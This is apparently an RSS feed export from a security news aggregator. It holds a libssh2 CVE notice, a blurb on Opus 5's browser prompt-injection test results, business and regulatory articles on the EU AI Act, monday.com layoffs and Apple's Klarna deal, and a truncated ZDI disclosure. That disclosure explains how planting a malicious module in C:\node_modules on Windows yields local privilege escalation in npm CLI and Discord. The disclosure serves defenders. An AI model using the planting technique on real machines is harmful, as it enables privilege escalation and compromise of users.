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<title><![CDATA[CVE-2026-66033 | libssh2 up to 1.11.1 src/openssl.c ssh2_cipher_crypt integer underflow (EUVD-2026-48720)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in libssh2 up to 1.11.1. The affected element is the function ssh2_cipher_crypt of the file src/openssl.c. Such manipulation leads to integer underflow.

This vulnerability is uniquely identified as CVE-2026-66033. The attack can be launch...]]></description>
<link>https://tsecurity.de/de/3694814/sicherheitsluecken/cve-2026-66033-libssh2-up-to-1111-srcopensslc-ssh2ciphercrypt-integer-underflow-euvd-2026-48720/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694814/sicherheitsluecken/cve-2026-66033-libssh2-up-to-1111-srcopensslc-ssh2ciphercrypt-integer-underflow-euvd-2026-48720/</guid>
<pubDate>Sat, 25 Jul 2026 20:05:17 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/libssh2">libssh2 up to 1.11.1</a>. The affected element is the function <code>ssh2_cipher_crypt</code> of the file <em>src/openssl.c</em>. Such manipulation leads to integer underflow.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-66033">CVE-2026-66033</a>. The attack can be launched remotely. No exploit exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Opus 5 may have solved browser-based prompt injection, the biggest security flaw haunting AI agents]]></title>
<description><![CDATA[Opus 5 combined with Auto Mode hits a zero percent prompt injection success rate for browser agents across 129 test scenarios. Without those extra protection layers, the rate is 3.7 percent. If these numbers hold up in practice, Anthropic may have cracked one of the biggest security problems faci...]]></description>
<link>https://tsecurity.de/de/3694800/ai-nachrichten/opus-5-may-have-solved-browser-based-prompt-injection-the-biggest-security-flaw-haunting-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694800/ai-nachrichten/opus-5-may-have-solved-browser-based-prompt-injection-the-biggest-security-flaw-haunting-ai-agents/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:24 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1146" height="639" src="https://the-decoder.com/wp-content/uploads/2025/11/prompt_injections_claude.png" class="attachment-full size-full wp-post-image" alt="" decoding="async"></p>
<p>        Opus 5 combined with Auto Mode hits a zero percent prompt injection success rate for browser agents across 129 test scenarios. Without those extra protection layers, the rate is 3.7 percent. If these numbers hold up in practice, Anthropic may have cracked one of the biggest security problems facing AI agents that operate in browsers.</p>
<p>The article <a href="https://the-decoder.com/opus-5-may-have-solved-browser-based-prompt-injection-the-biggest-security-flaw-haunting-ai-agents/">Opus 5 may have solved browser-based prompt injection, the biggest security flaw haunting AI agents</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
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<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
